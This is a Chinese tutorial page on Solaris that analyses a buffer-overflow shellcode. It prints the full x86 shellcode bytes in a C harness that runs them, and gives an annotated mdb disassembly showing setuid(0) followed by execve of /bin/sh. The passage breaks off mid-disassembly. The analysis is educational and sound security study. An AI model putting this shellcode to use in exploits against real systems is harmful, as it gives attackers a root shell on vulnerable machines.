当前位置: 首页 > 图文教程 > 操作系统 > Unix/Linux > Solaris学习笔记(2)

Unix/Linux
linux查看内存的大小
在linux下写的代码,用的是utf-8,结果拿到XP下运行的时候,所有的中文都成乱码
linux su和sudo命令的区别
linux cron 下的定时执行工具使用技巧
linux 查找进程及终止进程操作的相关命令
redhat linux 安装 gcc编译器
Linux Mplayer播放各种格式的电影
一起回顾一下linux常用命令
Linux 网站项目发布要做哪些配置
linux SSH配合SecureCRT的密匙完美使用方法
GD 编译出错解决方法
Facebook Open Platform编译FAQ
Linux 系统硬盘 优化
linux 挂载详解
linux crontab定时命令
Linux 系统中确保访问三级域名畅通的方法
Linux 特权帐号VS普通帐号
确保Linux系统安全的前提条件 漏洞防护
Linux 监视系统资源使用率
Red Hat Linux上使用BIND建立DNS服务器

Unix/Linux 中的 Solaris学习笔记(2)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-01   浏览: 34 ::
收藏到网摘: n/a

Solaris学习笔记(2)
作者: BadcoffeeEmail: [email protected]: http://blog.csdn.net/yayong2005年7月1. 一段shell code的分析最近新发现的一个Solaris的安全漏洞可以使一个非特权用户利用一个很简单的攻击程序得到系统的root权限,为了不让用Solaris系统的人遭暗算,具体细节就不说了。毕竟这篇文章不是教别人攻击别人系统的黑客教程:)这里只研究攻击程序里面的一段shell code。问题:什么是shell code?要了解shell code,先从缓冲区溢出谈起。缓冲区溢出是黑客比较常用的攻击手段之一。众所周知,如果向一个有限空间的缓冲区拷贝了过长的字符串,就会覆盖相邻的存储单元。进程的局部变量保存在 stack当中的,一个函数的stack frame相邻的就是调用该函数时保存的返回地址。当发生缓冲区溢出并且覆盖到存储在stack中的函数反回地址,那么当函数执行完毕后就无法正常返回。因为这时返回地址往往是一个无效的地址,在这样的情况下系统一般报告: “core dump”或“segment fault”。如果这种缓冲区溢出经过精心的计算,使得溢出后覆盖到返回地址的那个地址指向我们写的一段机器指令序列,那么这个进程的流程就会被改变,从而由我们来控制。多数情况下,这段精心设计的指令一般的目的是执行“/bin/sh”,从而得到一个shell,因此这段代码被称为:“shell code”。如果被溢出程序是一个suid root程序,得到的将是一个root shell,这样整个机器就因为缓冲区溢出而被完全控制了。关于缓冲区溢出,aleph one的Smashing The Stack For Fun And Profit做入门教程不错,可以看看。为方便分析,我们把这段shell code单独拿出来,放到一个非常简单的c程序里研究。
下面是test1.c的源代码: static char sh[] = "\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff";int main() {void (*f)();f = (void*)sh;f();return 0;}这里用函数指针指向字符数组sh,sh包含了整段shell code。main函数中通过对一个指向sh的函数指针的调用,从而使shell code得到执行。可以看到,程序运行后,当前的shell由bash变为了sh:bash-3.00# gcc test1.c -o test1bash-3.00# ./test1# <--- 提示符改变,说明/bin/sh已经被运行,shell code执行成功下面我们就反汇编分析这段代码。由于这段shell code在数据段,且不是一个函数定义,因此用mdb反汇编比用dis更直观一些:# mdb ./test1> main::dismain: pushl %ebpmain+1: movl %esp,%ebp ---> 建立main函数的Stack Frame main+3: subl x8,%espmain+6: andl xfffffff0,%espmain+9: movl x0,%eaxmain+0xe: addl xf,%eaxmain+0x11: addl xf,%eaxmain+0x14: shrl x4,%eaxmain+0x17: shll x4,%eaxmain+0x1a: subl %eax,%esp ---> main+3至main+0x1a的作用使main函数的栈对齐main+0x1c: movl x8060a40,-0x4(%ebp) ---> 把数据段的sh的地址赋值给函数指针 main+0x23: movl -0x4(%ebp),%eaxmain+0x26: call *%eax ---> 调用shell codemain+0x28: movl x0,%eaxmain+0x2d: leavemain+0x2e: ret> 0x8060a40=p ---> 将地址转换为符号 test1`sh ---> 可以看到,该地址就是sh的起始地址> sh,1a/aitest1`sh:test1`sh: xorl %eax,%eaxtest1`sh+2: jmp +0xb ---> 1. 向前跳转到地址test1`sh+0xdtest1`sh+4: popl %edx ---> 3. 将lcall指令的地址从栈中弹出到edxtest1`sh+5: movl %eax,0x1(%edx)test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall x7,x0test1`sh+0xb: jmp +0xf ---> 5. 向前跳转到地址test1`sh+0x1atest1`sh+0xd: call -0x9 ---> 2. 向后调用到地址test1`sh+4指令,同时下条指令lcall的地址test1`sh+0x12将作为返回地址压栈test1`sh+0x12: lcall x107,x1010101 ---> 9. 步骤4中已经将lcall指令修改为lcall x7,x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用test1`sh+0x19: ret ---> 10.从setuid系统调用返回后,再执行返回指令会使xorl指令地址test1`sh+0x22从栈中弹出到eip中,使cpu从xorl处执行test1`sh+0x1a: pushl %eax ---> 6. 此时eax寄存器的值是0,将0压栈是为构造setuid调用的入口参数,并且其值为0,即root的idtest1`sh+0x1b: movb x17,%al ---> 7. 把setuid的系统调用号0x17放入到eax,是Solaris系统调用的要求test1`sh+0x1d: call -0xb ---> 8. 向后调用地址test1`sh+0x12指令,此时lcall指令已经被修改了(见步骤4),同时将下条xorl指令的地址test1`sh+0x22压栈test1`sh+0x22: xorl %eax,%eax ---> 11.用xorl指令来给eax寄存器内容清零,常见的快速清零指令test1`sh+0x24: pushl x5f68732ftest1`sh+0x29: pushl x6e69622f ---> 12.test1`sh+0x24和test1`sh+0x29将8个字符"/bin/sh_"压入栈中test1`sh+